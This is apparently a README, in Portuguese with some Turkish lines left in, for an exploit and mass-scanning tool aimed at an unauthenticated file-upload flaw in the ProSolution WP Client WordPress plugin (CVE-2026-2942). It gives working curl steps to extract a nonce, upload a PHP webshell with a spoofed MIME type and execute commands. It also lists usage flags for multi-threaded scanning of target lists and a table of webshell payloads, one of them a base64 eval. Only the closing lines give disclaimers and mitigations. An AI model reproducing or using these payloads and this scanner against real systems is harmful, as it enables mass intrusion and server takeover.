
Scanner automatizado para upload arbitrário de arquivos não autenticado e execução remota de código no ProSolution WP Client (CVE-2026-2942). Suporta varredura multi-thread, falsificação de MIME, verificação de shell e suporte a proxy para testes de penetração.
Plugin: prosolution-wp-client
Versão Afetada: <= 1.9.9
Tipo de Vulnerabilidade: Upload Arbitrário de Arquivo Não Autenticado → Execução Remota de Código
Nível de Risco: 🔴 Crítico (CVSS 9.8)
Requisito: Página pública contendo o shortcode[prosolfrontend]
A ação AJAX proSol_fileUploadProcess do plugin ProSolution WP Client
verifica o tipo MIME dos arquivos enviados, mas não valida a extensão.
Um atacante pode enviar um arquivo com extensão .php usando o tipo MIME image/jpeg,
carregando um webshell no servidor sem autenticação.
[prosolfrontend] shortcode sayfası
│
▼
1. prosolObj.nonce → public sayfadan çekilir (kimlik doğrulama gerekmez)
│
▼
2. POST /wp-admin/admin-ajax.php
action=proSol_fileUploadProcess
security=<nonce>
files[]=shell.php (Content-Type: image/jpeg) ← MIME Spoofing
│
▼
3. /wp-content/uploads/prosolwpclient/[random].php olarak kaydedilir
│
▼
4. GET /wp-content/uploads/prosolwpclient/[random].php?cmd=id
│
▼
5. uid=33(www-data) → Unauthenticated RCE ✓
⚠️ Aviso Legal: Esta PoC é fornecida apenas para fins educacionais e de pesquisa de segurança defensiva. Use apenas em sistemas que você possui ou para os quais possui autorização escrita explícita para testar.
prosolution-wp-client ativo (versão <= 1.9.9)[prosolfrontend]Visite qualquer página pública que contenha o shortcode [prosolfrontend]
e extraia o valor de prosolObj.nonce do código-fonte:
TARGET="https://target.example.com"
NONCE=$(curl -s "$TARGET/jobs" \
| grep -oP '"nonce"\s*:\s*"\K[^"]+')
echo "Extracted nonce: $NONCE"
Estrutura a ser procurada no código-fonte:
<script id='prosolwpclient-public-js-extra'>
var prosolObj = {
"ajaxurl": "https://target.example.com/wp-admin/admin-ajax.php",
"nonce": "a1b2c3d4e5",
...
};
</script>
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php
Envie o arquivo .php com Content-Type image/jpeg:
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
-F "action=proSol_fileUploadProcess" \
-F "security=$NONCE" \
-F "files[]=@/tmp/shell.php;type=image/jpeg" \
| python3 -m json.tool
Resposta esperada:
{
"files": [
{
"name": "shell.php",
"size": 31,
"url": "https://target.example.com/wp-content/uploads/prosolwpclient/shell.php",
"newfilename": "a3f8b2c1d9e4f7g2.php",
"rename_status": true,
"extension": "php"
}
]
}
"extension": "php"e"rename_status": true→ arquivo.phpsalvo com sucesso.
SHELL_FILE="a3f8b2c1d9e4f7g2.php" # newfilename do Passo 3
curl -s "$TARGET/wp-content/uploads/prosolwpclient/$SHELL_FILE?cmd=id"
Saída esperada:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅ RCE não autenticado alcançado.
git clone https://github.com/kullanici/prosol-upload-scanner
cd prosol-upload-scanner
pip install -r requirements.txt
requirements.txt
requests
python prosol_upload.py -u http://hedef.com
python prosol_upload.py -u http://hedef.com --verify --verify-cmd "whoami"
python prosol_upload.py -l targets.txt -t 20 -o sonuclar.txt
python prosol_upload.py -u http://hedef.com --proxy http://127.0.0.1:8080
python prosol_upload.py -u http://hedef.com --shell-type full
Raiz do WordPress/
└── wp-content/
└── uploads/
└── prosolwpclient/
└── [random_hex].php ← Shell aqui
[*] 3 hedef | ProSolution File Upload | threads=10
[★ UPLOADED ] http://hedef1.com
Shell URL : http://hedef1.com/wp-content/uploads/prosolwpclient/a3f8b2c1d9.php
Yeni Ad : a3f8b2c1d9.php (renamed=True)
[✓ RCE OK ] cmd çıktısı: uid=33(www-data) gid=33(www-data)
[- BLOCKED ] http://hedef2.com ext=jpeg
[~ TIMEOUT ] http://hedef3.com
───────────────────────────────────────────────
UPLOADED : 1 █
BLOCKED : 1 █
TIMEOUT : 1 █
───────────────────────────────────────────────
Yüklenen shell'ler → uploaded.txt
───────────────────────────────────────────────
Para o diretório uploads/, .htaccess:
<FilesMatch "\.php$">
Deny from all
</FilesMatch>
Esta ferramenta e PoC foram preparadas apenas para uso em sistemas autorizados, para fins educacionais e dentro do escopo de testes de penetração.
O uso em sistemas não autorizados constitui crime de acordo com os Artigos 243-245 do Código Penal Turco e leis internacionais de crimes cibernéticos.
O desenvolvedor não assume nenhuma responsabilidade legal decorrente do uso indevido da ferramenta.
Licença MIT — Apenas para fins educacionais e de pesquisa.
| Parâmetro | Curto | Descrição | Padrão |
|---|
--url | -u | URL de alvo único | — |
--list | -l | Arquivo de lista de alvos | — |
--threads | -t | Número de threads | 10 |
--output | -o | Arquivo de saída | uploaded.txt |
--shell-name | — | Nome do arquivo a ser enviado | shell.php |
--shell-type | — | Tipo de shell | system |
--verify | — | Teste de RCE após upload | False |
--verify-cmd | — | Comando de verificação | id |
--proxy | — | URL do proxy | — |
--timeout | — | Timeout da requisição (s) | 10 |
| Tipo | Payload | Descrição |
|---|
system | <?php system($_GET["cmd"]); ?> | Comando básico do sistema |
passthru | <?php passthru($_GET["cmd"]); ?> | Saída bruta |
exec | <?php echo exec($_GET["cmd"]); ?> | Execução silenciosa |
assert | <?php assert($_POST["cmd"]); ?> | Eval via POST |
b64 | <?php eval(base64_decode($_POST["cmd"])); ?> | Ofuscação Base64 |
full | shell_exec + system + exec fallback | Shell completo (fallback) |
| Status | Descrição |
|---|
★ UPLOADED | Shell enviado com sucesso |
✓ RCE OK | Shell verificado, comando executado |
- BLOCKED | Servidor bloqueou extensão PHP |
~ TIMEOUT | Timeout de conexão |
~ CONN_ERR | Erro de conexão |
! HTTP_ERR | Código de erro HTTP |
| Medida | Implementação |
|---|
| Bloqueio de execução PHP | Adicionar .htaccess no diretório uploads/ |
| Atualização do plugin | Atualizar para versão > 1.9.9 ou remover |
| Lista branca de extensões | Apenas extensões permitidas no lado do servidor |
| Validação MIME | Verificação de conteúdo real com finfo_file() |
| Regra de WAF | Bloquear requisições de upload .php |